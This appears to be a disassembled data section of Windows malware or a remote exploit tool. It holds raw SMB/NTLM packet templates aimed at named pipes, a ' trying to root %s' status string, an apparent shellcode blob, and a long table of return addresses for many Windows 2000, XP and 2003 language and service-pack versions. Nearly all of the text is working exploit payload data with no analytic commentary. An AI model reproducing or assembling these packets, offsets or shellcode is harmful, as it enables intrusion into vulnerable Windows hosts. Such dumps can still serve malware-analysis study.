2C2D7C27h, 67BF9840h dd 7F154174h, 0BE3F7149h, 0CFC10B9h, 3D76717Dh, 7473A9BAh dd 117F9237h, 0C13B7AE0h, 1A277BE2h, 0A81C78E3h, 3A96F585h dd 4E7775F9h, 7970B4B5h, 1DBBBA2Dh, 0B3257298h, 0EBD084B0h dd 7E467Ch dword_422CA8 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: .text:00403735o dd 0DC00800h, 0F2140800h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 0F000001h, 22001F00h, 0B749E1C0h, 24990C67h, 0D6134114h dd 43435B6h, 91BED42Bh, 32BFF887h, 0FD234BD5h, 0FC18053Ch dd 0B9403D90h, 4A70B243h, 667C1577h, 9F2C79B1h, 7FB8979Bh dd 9342EB12h, 0D3894778h, 3F7E48E2h, 4FE10871h, 72B32C7Dh dd 763D7347h, 2575B440h, 0BFD51D7Bh, 0BA15E388h, 96B2BB9Bh dd 914E49FCh, 0E009247Ah, 0B698F830h, 0A867B0A9h, 669F461Ch dd 4F48B942h, 0B53CB141h, 93F52899h, 34B7D643h, 3527F9BEh dd 92974B37h, 0B82D4AFDh, 0C050474h, 143FD41Bh, 66FCB790h dd 2CB93D05h, 0BB4FD51Ah, 0A9D6B5BEh, 4146B21Ch, 74D9D8DBh dd 0EBBFF424h, 2943AC5Dh, 5E52B1C9h, 3104C683h, 9503137Eh dd 0E8B64E4Eh, 15D671B5h, 83D5CACAh, 0AACD9EDEh, 2CF1DEDEh dd 882A4DAAh, 5B0EC827h, 5A16D64Bh, 44A9535Bh, 75163B28h dd 41DD8DC5h, 980C0F92h, 5E7C9664h, 9F7BDDA4h, 0DD8513EFh dd 0BEDF1Bh dword_422E04 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: .text:00403752o dd 0DC00800h, 0F2140800h, 0FF0Eh, 48400000h, 0FF000003h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 0F000001h, 0B5001F00h, 0D0B408FFh, 1B12168Bh, 17D1CE67h dd 3BB9843Ch, 6F4671C3h, 4B250C48h, 0A2756E52h, 87F214B1h dd 0B445E75h, 0BE5910FDh, 9E69918Ah, 10249FE4h, 0FA47CF19h dd 6AD1A387h, 1D76767Bh, 0B5D94408h, 0FE8D7811h, 50758503h dd 0D9D5A023h, 346B2B3Eh, 0AC3EB6C8h, 581049CBh, 3564BC15h dd 165040F2h, 0CB0EEDAEh, 0B8F24113h, 5692B56Ch, 0F53DEE90h dd 9157EF1Fh, 0A627EABBh, 421EF593h, 6DCA5B0Ch, 3C5033FCh dd 0C1CF2AD3h, 0C2A5FEFAh, 75A369D3h, 7A7C2052h, 0D0D6E38Ch dd 4B07FB64h, 0ADD1E4EEh, 0E7DEBD96h, 61F1BD3Ch, 59425D5h dd 30D1CB4Ah, 93BB43E6h, 89DCEA3Bh, 7CC06487h, 80AF84C8h dd 3E4E478Ah, 0C4230B27h, 9397800Fh, 5019A418h, 0D293B7CEh dd 8D079110h, 60E94FBCh, 0D358712Bh, 3A520FEh, 0A6806E68h dd 7ECC23A7h, 49CD3B5Dh, 0E2B9135Dh, 687A175Dh, 8FD1CE61h dd 3A874Dh dword_422F60 dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: .text:0040376Fo dd 0DC00800h, 0F2140800h, 80000010h, 0E0040000h, 0FFh dd 2 dup(0) dd 80004A00h, 2004A00h, 2600h, 5C008740h, 45504950h, 5005Ch dd 100200h, 800000h, 0 dd offset dword_680000 dd 0F0000h, 8EA1001Fh, 99C29638h, 804C846h, 0Fh dup(8040002h) dd 2, 4D2E93h, 20000h, 0 dd 20000h, 2EB0000h, 0E40000h, 2 dup(0) dword_423030 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0) ; DATA XREF: .text:0040378Co dd 9A40000h, 5A4E0000h, 2003100h, 4D4E414Ch, 2E314E41h dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh dword_423088 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: .text:004037A9o dd 9A40000h, 5A4E0000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h dd 0 dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0 db 0 db 20h, 2 dup(0) db 0 db 0Ch, 0, 0Ch db 0 db 20h, 2 dup(0) db 0 aWorkstation1_0 db 'WORKSTATION1Windows 2000 2195',0 aWindows20005_2 db 'Windows 2000 5.0',0 dword_423138 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: .text:004037C6o dd 9A40000h, 5A4E0800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h dd 0 dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 0 dd 70000000h, 0 dd 70000000h, 18000000h, 70001800h, 2 dup(0) dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0) db 0 db 2 dup(0), 0AFh db 0BBh ; db 10h, 5Ch, 1Eh db 71h ; q db 0DBh, 8Dh, 7Ch db 0CBh ; db 0FEh, 0F1h, 31h db 5 db 35h, 30h, 43h db 4 db 0F9h, 0DDh, 0C0h db 0A0h ; dd offset word_57D1F6 dd offset byte_52004F dd offset byte_53004B dd offset loc_410054 dd offset dword_490054 dd offset byte_4E004F db 31h, 0, 57h aIndows200021_0 db 'indows 2000 2195',0 aWindows20005_3 db 'Windows 2000 5.0',0 align 10h dword_423230 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: .text:004037E0o dd 9A40000h, 5A4E0800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_423270 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: .text:004037FAo dd 9A40800h, 5A4E0800h, 0FF18h, 80000h, 16h, 0 dd 2019Fh, 3 dup(0) dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h dword_4232D0 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: .text:00403817o dd 9A40800h, 5A4E0800h, 48000010h, 0E0040000h, 0FFh, 2 dup(0) dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch dd 10030Bh, 480000h, 0 dd 16D00000h, 16D0h, 10000h, 0 dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h dd 0 dword_423368 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: .text:00403834o dd 9A40800h, 5A4E0800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh dd 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 1, 0D4001F00h, 1000E03h, 0 dd 1000000h, 0 dd 63166500h, 1, 63000000h, 41000001h, 0BE3F9B42h, 2425B490h dd 0BAA80466h, 0F598B149h, 0C9339327h, 0C4DD52B1h, 0F42474D9h dd 0DB4AB85Eh, 46315650h, 13460313h, 0B2DF8C83h, 0CD2491A3h dd 765B6EA3h, 3A4FFAC0h, 3A7003D0h, 0A90493DFh, 77907704h dd 72DAFC79h, 0F6CC03F9h, 56991BB6h, 21761A69h, 0B30328E2h dd 2DD3611Ah, 3913054Eh, 0CF5EC488h, 24B50497h, 0ED6EDCACh dd 0B2E539A6h, 2A11C06Ch, 38AECEE6h, 0D431D2A7h, 0A3BAC65Bh dd 0D2A13230h, 70020B0Bh, 0F2842807h, 746FA257h, 35E41744h dd 3B93397Ch, 148FCB32h, 0C6290534h, 0DA85C1ACh, 28996658h dd 9DA2DCC6h, 0E2B11790h, 0CDB5F75Ah, 94AC7EC2h, 5B276D7Dh dd 0A43A072Bh, 53E3BF03h, 9B439251h, 3038BF4Fh, 0E5FC6C23h dd 0DAFDC180h, 3028D61h, 528C1E0Bh, 2AC841h dword_4234C4 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: .text:00403851o dd 9A40800h, 5A4E0800h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 db 1 align 4 db 0 db 1Fh, 0, 8Eh db 1Ah db 0CFh, 64h, 50h db 0Ch db 0A5h, 9Ah, 0FFh db 0E4h ; db 0C6h, 4Bh, 97h db 0A2h ; db 95h, 42h, 81h db 0FCh ; db 1Ah, 4Ch, 2 db 56h ; V db 1Bh, 0A1h, 0CDh db 0BDh ; db 0AAh, 0C4h, 47h db 69h ; i db 0D3h, 1Fh, 7 db 0C1h ; db 7Fh, 0F5h, 57h db 39h ; 9 db 0ECh, 9Dh, 40h db 0C3h ; db 0D4h, 27h, 0D8h db 0CBh ; db 0Eh, 82h, 19h db 0E3h ; db 0C8h, 47h, 82h db 62h ; b db 7Ch, 0FBh, 27h db 0E2h ; db 99h, 91h, 0E7h db 0ADh ; db 48h, 0AAh, 81h db 0A9h ; db 0E0h, 76h, 1Bh db 0D7h ; db 0C5h, 0B6h, 0E8h db 0B2h ; db 0DBh, 75h, 22h db 3Dh ; = db 61h, 56h, 0AFh db 4Ch ; L db 1Fh, 9Eh, 64h db 0E5h ; db 74h, 0B6h, 8 db 4 db 39h, 51h, 12h db 8Dh ; db 79h, 0A1h, 3Ah db 35h ; 5 db 0D6h, 0Fh, 92h db 9Bh ; db 89h, 0C5h, 15h db 4Dh ; M db 78h, 4Fh, 47h db 92h ; db 0AAh, 7, 0CAh db 0B5h ; db 4Fh, 16h, 47h db 0B9h ; db 99h, 0CCh, 97h db 0BAh ; db 12h, 0EEh, 0B8h db 0CEh ; db 0Bh, 0ECh, 0BAh db 15h db 0D7h, 0F3h, 6Bh db 0C7h ; db 0E8h, 0DCh, 0FCh db 7 db 0D8h, 3Dh, 9Ch db 84h ; db 1Bh, 6Bh, 0A2h db 0FBh ; aTpnbh1hodneizg db 'TPNBH1hoDNeIzg6oTMyZMXQwKmeqvdgiEnPSjmQpcMX04FTCNnZurnWxe6sHGovRc' db 'kM9fuTQXG9u2qPm1opnU473nMG4MFk4IoPO320b6dM0zS',0 dword_423620 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: .text:0040386Eo dd 9A40800h, 5A4E0800h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 50001F00h, 68436565h, 4968386Ch, 4B777338h, 35425561h dd 4A6A4136h, 32336672h, 644B555Ah, 4C43334Ah, 53686970h dd 49637A33h, 6E446E66h, 4D444767h, 64453935h, 64423747h dd 34543175h, 726E6156h, 4F6C756Fh, 7A515044h, 52324B49h dd 42324D54h, 36636456h, 7559746Fh, 35775677h, 61434C47h dd 375A4641h, 61424243h, 6168646Fh, 52664D70h, 7464546Bh dd 4F77724Eh, 74647243h, 317A4867h, 0A527A69h, 72000208h dd 6B665136h, 4484A5Ah, 66000208h, 73636151h, 37376876h dd 49356663h, 504C7542h, 397A4F61h, 4A4D5561h, 3250614Eh dd 4577149h, 65000208h, 34634171h, 4346E33h, 39000208h dd 7739596Dh, 354D5A31h, 6E674177h, 57346C78h, 6941456Eh dd 4F756F41h, 3644737Ah, 4D676Dh, 5A1E9900h, 1000000h dd 0 dd 1000000h, 0 dd 0F089E800h, 0 dword_42377C dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: .text:00403888o dd 9A40800h, 5A4E0800h, 1C000010h, 0E0040000h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch dd 100200h, 1C0000h, 0 dd 40000h, 0 dd 1Fh, 0 dword_4237E8 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: .text:004038A5o dd 9A40800h, 5A4E0800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh dd 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 1, 0D4001F00h, 1000E03h, 0 dd 1000000h, 0 dd 63166500h, 1, 63000000h, 41000001h, 0BE3F9B42h, 2425B490h dd 0BAA80466h, 0F598B149h, 0C9339327h, 0C4DD52B1h, 0F42474D9h dd 0DB4AB85Eh, 46315650h, 13460313h, 0B2DF8C83h, 0CD2491A3h dd 765B6EA3h, 3A4FFAC0h, 3A7003D0h, 0A90493DFh, 77907704h dd 72DAFC79h, 0F6CC03F9h, 56991BB6h, 21761A69h, 0B30328E2h dd 2DD3611Ah, 3913054Eh, 0CF5EC488h, 24B50497h, 0ED6EDCACh dd 0B2E539A6h, 2A11C06Ch, 38AECEE6h, 0D431D2A7h, 0A3BAC65Bh dd 0D2A13230h, 70020B0Bh, 0F2842807h, 746FA257h, 35E41744h dd 3B93397Ch, 148FCB32h, 0C6290534h, 0DA85C1ACh, 28996658h dd 9DA2DCC6h, 0E2B11790h, 0CDB5F75Ah, 94AC7EC2h, 5B276D7Dh dd 0A43A072Bh, 53E3BF03h, 9B439251h, 3038BF4Fh, 0E5FC6C23h dd 0DAFDC180h, 3028D61h, 528C1E0Bh, 2AC841h dword_423944 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: .text:004038C2o dd 9A40800h, 5A4E0800h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 db 1 align 4 db 0 db 1Fh, 0, 8Eh db 1Ah db 0CFh, 64h, 50h db 0Ch db 0A5h, 9Ah, 0FFh db 0E4h ; db 0C6h, 4Bh, 97h db 0A2h ; db 95h, 42h, 81h db 0FCh ; db 1Ah, 4Ch, 2 db 56h ; V db 1Bh, 0A1h, 0CDh db 0BDh ; db 0AAh, 0C4h, 47h db 69h ; i db 0D3h, 1Fh, 7 db 0C1h ; db 7Fh, 0F5h, 57h db 39h ; 9 db 0ECh, 9Dh, 40h db 0C3h ; db 0D4h, 27h, 0D8h db 0CBh ; db 0Eh, 82h, 19h db 0E3h ; db 0C8h, 47h, 82h db 62h ; b db 7Ch, 0FBh, 27h db 0E2h ; db 99h, 91h, 0E7h db 0ADh ; db 48h, 0AAh, 81h db 0A9h ; db 0E0h, 76h, 1Bh db 0D7h ; db 0C5h, 0B6h, 0E8h db 0B2h ; db 0DBh, 75h, 22h db 3Dh ; = db 61h, 56h, 0AFh db 4Ch ; L db 1Fh, 9Eh, 64h db 0E5h ; db 74h, 0B6h, 8 db 4 db 39h, 51h, 12h db 8Dh ; db 79h, 0A1h, 3Ah db 35h ; 5 db 0D6h, 0Fh, 92h db 9Bh ; db 89h, 0C5h, 15h db 4Dh ; M db 78h, 4Fh, 47h db 92h ; db 0AAh, 7, 0CAh db 0B5h ; db 4Fh, 16h, 47h db 0B9h ; db 99h, 0CCh, 97h db 0BAh ; db 12h, 0EEh, 0B8h db 0CEh ; db 0Bh, 0ECh, 0BAh db 15h db 0D7h, 0F3h, 6Bh db 0C7h ; db 0E8h, 0DCh, 0FCh db 7 db 0D8h, 3Dh, 9Ch db 84h ; db 1Bh, 6Bh, 0A2h db 0FBh ; aTpnbh1hodnei_0 db 'TPNBH1hoDNeIzg6oTMyZMXQwKmeqvdgiEnPSjmQpcMX04FTCNnZurnWxe6sHGovRc' db 'kM9fuTQXG9u2qPm1opnU473nMG4MFk4IoPO320b6dM0zS',0 dword_423AA0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: .text:004038DFo dd 9A40800h, 5A4E0800h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 50001F00h, 68436565h, 4968386Ch, 4B777338h, 35425561h dd 4A6A4136h, 32336672h, 644B555Ah, 4C43334Ah, 53686970h dd 49637A33h, 6E446E66h, 4D444767h, 64453935h, 64423747h dd 34543175h, 726E6156h, 4F6C756Fh, 7A515044h, 52324B49h dd 42324D54h, 36636456h, 7559746Fh, 35775677h, 61434C47h dd 375A4641h, 61424243h, 6168646Fh, 52664D70h, 7464546Bh dd 4F77724Eh, 74647243h, 317A4867h, 0A527A69h, 72000208h dd 6B665136h, 4484A5Ah, 66000208h, 73636151h, 37376876h dd 49356663h, 504C7542h, 397A4F61h, 4A4D5561h, 3250614Eh dd 4577149h, 65000208h, 34634171h, 4346E33h, 39000208h dd 7739596Dh, 354D5A31h, 6E674177h, 57346C78h, 6941456Eh dd 4F756F41h, 3644737Ah, 4D676Dh, 5A1E9900h, 1000000h dd 0 dd 1000000h, 0 dd 0F089E800h, 0 dword_423BFC dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: .text:004038F9o dd 9A40800h, 5A4E0800h, 1C000010h, 0E0040000h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch dd 100200h, 1C0000h, 0 dd 40000h, 0 dd 1Fh, 0 dword_423C68 dd 5B027302h, 5D1F491Fh, 73252820h, 6C1F702Eh, 2029671Fh ; DATA XREF: .text:00403966o dd 2BBBB02h aTryingToRootS db ' trying to root %s',0 align 8 aFb db 'f',7,0 ; DATA XREF: sub_403C2B+A9o align 10h dword_423CA0 dd 129F74h, 0 dword_423CA8 dd 127D78h, 0 dword_423CB0 dd 5B03EB60h, 0F8E8C353h, 31FFFFFFh, 13404C0h, 315B50D8h ; DATA XREF: sub_403C2B+D5o dd 401002D2h, 50403002h, 4104C031h, 0C628C228h, 6604E2C0h dd 3104EAC1h, 2F630C0h, 66032803h, 58431301h, 802C931h dd 61D5E0h, 424E0Ch dword_423CF4 dd 77BD3143h dword_423CF8 dd 7FCh byte_423CFC db 1 ; DATA XREF: sub_403C2B:loc_403EF6r ; sub_403C2B+2F2r ... align 10h dd offset aWindowsXpSp01E ; "Windows XP SP0+1 ENG" dd 77C03143h, 7FCh, 1, 424DE0h, 77BD1F89h, 7FCh, 1, 424DCCh dd 77BD1FA8h, 7FCh, 1, 424DB8h, 77BD1FD6h, 7FCh, 1, 424DA4h dd 77BD2195h, 7FCh, 1, 424D90h, 77BD21B3h, 7FCh, 1, 424D7Ch dd 77BD21E0h, 7FCh, 1, 424D68h, 77BD220Ch, 7FCh, 1, 424D54h dd 77BD2241h, 7FCh, 1, 424D40h, 77BD22D2h, 7FCh, 1, 424D2Ch dd 77BD28B2h, 7FCh, 1, 424D18h, 77BD29ABh, 7FCh, 1, 424D04h dd 77BD29E7h, 7FCh, 1, 424CF0h, 77BD29F7h, 7FCh, 1, 424CDCh dd 77BD2A03h, 7FCh, 1, 424CC8h, 77BD2D6Dh, 7FCh, 1, 424CB4h dd 77BD2DB3h, 7FCh, 1, 424CA0h, 77BD2EC2h, 7FCh, 1, 424C8Ch dd 77BD2EDDh, 7FCh, 1, 424C78h, 77BD30AFh, 7FCh, 1, 424C64h dd 77BD312Bh, 7FCh, 1, 424C50h, 77BD3160h, 7FCh, 1, 424C3Ch dd 77BD349Ah, 7FCh, 1, 424C28h, 77BD34E4h, 7FCh, 1, 424C0Ch dd 655B4F02h, 7E7h, 0 dd offset aWindowsUkXpPro ; "Windows uk xp pro sp1 1" dd 77C01F89h, 7FCh, 1, 424BDCh, 77C01FA8h, 7FCh, 1, 424BC4h dd 77C01FD6h, 7FCh, 1, 424BACh, 77C02195h, 7FCh, 1, 424B94h dd 77C021B3h, 7FCh, 1, 424B7Ch, 77C021E0h, 7FCh, 1, 424B64h dd 77C0220Ch, 7FCh, 1, 424B4Ch, 77C02241h, 7FCh, 1, 424B34h dd 77C022D2h, 7FCh, 1, 424B18h, 77C028B2h, 7FCh, 1, 424AFCh dd 77C029ABh, 7FCh, 1, 424AE0h, 77C029E7h, 7FCh, 1, 424AC4h dd 77C029F7h, 7FCh, 1, 424AA8h, 77C02A03h, 7FCh, 1, 424A8Ch dd 77C02A39h, 7FCh, 1, 424A70h, 77C02D6Dh, 7FCh, 1, 424A54h dd 77C02DB3h, 7FCh, 1, 424A38h, 77C02EC2h, 7FCh, 1, 424A1Ch dd 77C02EDDh, 7FCh, 1, 424A00h, 77C030AFh, 7FCh, 1, 4249E4h dd 77C0312Bh, 7FCh, 1, 4249C8h, 77C03143h, 7FCh, 1, 4249ACh dd 77C03160h, 7FCh, 1, 424990h, 77C0349Ah, 7FCh, 1, 424974h dd 77C034E4h, 7FCh, 1, 42495Ch, 77B920FDh, 7FCh, 1, 424944h dd 77B9211Ch, 7FCh, 1, 42492Ch, 77B9214Ah, 7FCh, 1, 424914h dd 77B9230Ch, 7FCh, 1, 4248FCh, 77B9232Ah, 7FCh, 1, 4248E4h dd 77B92357h, 7FCh, 1, 4248CCh, 77B92383h, 7FCh, 1, 4248B4h dd 77B923B8h, 7FCh, 1, 42489Ch, 77B92448h, 7FCh, 1, 424880h dd 77B92AAAh, 7FCh, 1, 424864h, 77B92BA7h, 7FCh, 1, 424848h dd 77B92BE3h, 7FCh, 1, 42482Ch, 77B92BF3h, 7FCh, 1, 424810h dd 77B92BFFh, 7FCh, 1, 4247F4h, 77B92F78h, 7FCh, 1, 4247D8h dd 77B92FBEh, 7FCh, 1, 4247BCh, 77B930EFh, 7FCh, 1, 4247A0h dd 77B9310Dh, 7FCh, 1, 424784h, 77B9330Ch, 7FCh, 1, 424768h dd 77B93388h, 7FCh, 1, 42474Ch, 77B9339Eh, 7FCh, 1, 424730h dd 77B933BAh, 7FCh, 1, 424714h, 77B9373Dh, 7FCh, 1, 4246F8h dd 77B9378Ah, 7FCh, 1, 4246E0h, 77B920FDh, 7FCh, 1, 4246C8h dd 77B9211Ch, 7FCh, 1, 4246B0h, 77B9214Ah, 7FCh, 1, 424698h dd 77B9230Ch, 7FCh, 1, 424680h, 77B9232Ah, 7FCh, 1, 424668h dd 77B92357h, 7FCh, 1, 424650h, 77B92383h, 7FCh, 1, 424638h dd 77B923B8h, 7FCh, 1, 424620h, 77B92448h, 7FCh, 1, 424604h dd 77B92AAAh, 7FCh, 1, 4245E8h, 77B92BA7h, 7FCh, 1, 4245CCh dd 77B92BE3h, 7FCh, 1, 4245B0h, 77B92BF3h, 7FCh, 1, 424594h dd 77B92BFFh, 7FCh, 1, 424578h, 77B92F78h, 7FCh, 1, 42455Ch dd 77B92FBEh, 7FCh, 1, 424540h, 77B930EFh, 7FCh, 1, 424524h dd 77B9310Dh, 7FCh, 1, 424508h, 77B9330Ch, 7FCh, 1, 4244ECh dd 77B93388h, 7FCh, 1, 4244D0h, 77B9339Eh, 7FCh, 1, 4244B4h dd 77B933BAh, 7FCh, 1, 424498h, 77B9373Dh, 7FCh, 1, 42447Ch dd 77B9378Ah, 7FCh, 1, 424470h, 41414141h, 7FCh, 1, 424458h dd 77E14C29h, 7FCh, 1, 424440h, 77E3CB4Ch, 7FCh, 1, 424428h dd 77E42C75h, 7FCh, 1, 424410h, 77E3C256h, 7FCh, 1, 4243F8h dd 77E2AFC5h, 7FCh, 1, 4243E0h, 77E2492Bh, 7FCh, 1, 4243C8h dd 77E4FF15h, 7FCh, 1, 4243B0h, 77E33F4Dh, 7FCh, 1, 326E6957h dd 5053204Bh, 72462030h, 50206D6Fh, 54546168h, 312079h dd 326E6957h, 5053204Bh, 72462031h, 50206D6Fh, 54546168h dd 322079h, 326E6957h, 5053204Bh, 72462032h, 50206D6Fh dd 54546168h, 312079h, 326E6957h, 5053204Bh, 72462033h dd 50206D6Fh, 54546168h, 312079h, 326E6957h, 5053204Bh dd 72462034h, 50206D6Fh, 54546168h, 332079h, 326E6957h dd 5053204Bh, 72462034h, 50206D6Fh, 54546168h, 322079h dd 326E6957h, 5053204Bh, 72462031h, 50206D6Fh, 54546168h dd 312079h, 326E6957h, 5053204Bh, 72462034h, 50206D6Fh dd 54546168h, 312079h, 20536F44h, 41205058h, 4C4Ch, 646E6957h dd 2073776Fh, 32206B75h, 6520336Bh, 70732065h, 34322030h dd 0 aWindowsUk2k3Ee db 'Windows uk 2k3 ee sp0 23',0 align 4 aWindowsUk2k3_0 db 'Windows uk 2k3 ee sp0 22',0 align 10h aWindowsUk2k3_1 db 'Windows uk 2k3 ee sp0 21',0 align 4 aWindowsUk2k3_2 db 'Windows uk 2k3 ee sp0 20',0 align 4 aWindowsUk2k3_3 db 'Windows uk 2k3 ee sp0 19',0 align 4 aWindowsUk2k3_4 db 'Windows uk 2k3 ee sp0 18',0 align 10h aWindowsUk2k3_5 db 'Windows uk 2k3 ee sp0 17',0 align 4 aWindowsUk2k3_6 db 'Windows uk 2k3 ee sp0 16',0 align 4 aWindowsUk2k3_7 db 'Windows uk 2k3 ee sp0 15',0 align 4 aWindowsUk2k3_8 db 'Windows uk 2k3 ee sp0 14',0 align 10h aWindowsUk2k3_9 db 'Windows uk 2k3 ee sp0 13',0 align 4 aWindowsUk2k_10 db 'Windows uk 2k3 ee sp0 12',0 align 4 aWindowsUk2k_11 db 'Windows uk 2k3 ee sp0 11',0 align 4 aWindowsUk2k_12 db 'Windows uk 2k3 ee sp0 10',0 align 10h aWindowsUk2k_13 db 'Windows uk 2k3 ee sp0 9',0 aWindowsUk2k_14 db 'Windows uk 2k3 ee sp0 8',0 aWindowsUk2k_15 db 'Windows uk 2k3 ee sp0 7',0 aWindowsUk2k_16 db 'Windows uk 2k3 ee sp0 6',0 aWindowsUk2k_17 db 'Windows uk 2k3 ee sp0 5',0 aWindowsUk2k_18 db 'Windows uk 2k3 ee sp0 4',0 aWindowsUk2k_19 db 'Windows uk 2k3 ee sp0 3',0 aWindowsUk2k_20 db 'Windows uk 2k3 ee sp0 2',0 aWindowsUk2k_21 db 'Windows uk 2k3 ee sp0 1',0 aWindowsUk2k3Se db 'Windows uk 2k3 se sp0 24',0 align 4 aWindowsUk2k_22 db 'Windows uk 2k3 se sp0 23',0 align 10h aWindowsUk2k_23 db 'Windows uk 2k3 se sp0 22',0 align 4 aWindowsUk2k_24 db 'Windows uk 2k3 se sp0 21',0 align 4 aWindowsUk2k_25 db 'Windows uk 2k3 se sp0 20',0 align 4 aWindowsUk2k_26 db 'Windows uk 2k3 se sp0 19',0 align 10h aWindowsUk2k_27 db 'Windows uk 2k3 se sp0 18',0 align 4 aWindowsUk2k_28 db 'Windows uk 2k3 se sp0 17',0 align 4 aWindowsUk2k_29 db 'Windows uk 2k3 se sp0 16',0 align 4 aWindowsUk2k_30 db 'Windows uk 2k3 se sp0 15',0 align 10h aWindowsUk2k_31 db 'Windows uk 2k3 se sp0 14',0 align 4 aWindowsUk2k_32 db 'Windows uk 2k3 se sp0 13',0 align 4 aWindowsUk2k_33 db 'Windows uk 2k3 se sp0 12',0 align 4 aWindowsUk2k_34 db 'Windows uk 2k3 se sp0 11',0 align 10h aWindowsUk2k_35 db 'Windows uk 2k3 se sp0 10',0 align 4 aWindowsUk2k_36 db 'Windows uk 2k3 se sp0 9',0 aWindowsUk2k_37 db 'Windows uk 2k3 se sp0 8',0 aWindowsUk2k_38 db 'Windows uk 2k3 se sp0 7',0 aWindowsUk2k_39 db 'Windows uk 2k3 se sp0 6',0 aWindowsUk2k_40 db 'Windows uk 2k3 se sp0 5',0 aWindowsUk2k_41 db 'Windows uk 2k3 se sp0 4',0 aWindowsUk2k_42 db 'Windows uk 2k3 se sp0 3',0 aWindowsUk2k_43 db 'Windows uk 2k3 se sp0 2',0 aWindowsUk2k_44 db 'Windows uk 2k3 se sp0 1',0 aWindowsUkXpP_0 db 'Windows uk xp pro sp1 25',0 align 10h aWindowsUkXpP_1 db 'Windows uk xp pro sp1 24',0 align 4 aWindowsUkXpP_2 db 'Windows uk xp pro sp1 23',0 align 4 aWindowsUkXpP_3 db 'Windows uk xp pro sp1 22',0 align 4 aWindowsUkXpP_4 db 'Windows uk xp pro sp1 21',0 align 10h aWindowsUkXpP_5 db 'Windows uk xp pro sp1 20',0 align 4 aWindowsUkXpP_6 db 'Windows uk xp pro sp1 19',0 align 4 aWindowsUkXpP_7 db 'Windows uk xp pro sp1 18',0 align 4 aWindowsUkXpP_8 db 'Windows uk xp pro sp1 17',0 align 10h aWindowsUkXpP_9 db 'Windows uk xp pro sp1 16',0 align 4 aWindowsUkXp_10 db 'Windows uk xp pro sp1 15',0 align 4 aWindowsUkXp_11 db 'Windows uk xp pro sp1 14',0 align 4 aWindowsUkXp_12 db 'Windows uk xp pro sp1 13',0 align 10h aWindowsUkXp_13 db 'Windows uk xp pro sp1 12',0 align 4 aWindowsUkXp_14 db 'Windows uk xp pro sp1 11',0 align 4 aWindowsUkXp_15 db 'Windows uk xp pro sp1 10',0 align 4 aWindowsUkXp_16 db 'Windows uk xp pro sp1 9',0 aWindowsUkXp_17 db 'Windows uk xp pro sp1 8',0 aWindowsUkXp_18 db 'Windows uk xp pro sp1 7',0 aWindowsUkXp_19 db 'Windows uk xp pro sp1 6',0 aWindowsUkXp_20 db 'Windows uk xp pro sp1 5',0 aWindowsUkXp_21 db 'Windows uk xp pro sp1 4',0 aWindowsUkXp_22 db 'Windows uk xp pro sp1 3',0 aWindowsUkXp_23 db 'Windows uk xp pro sp1 2',0 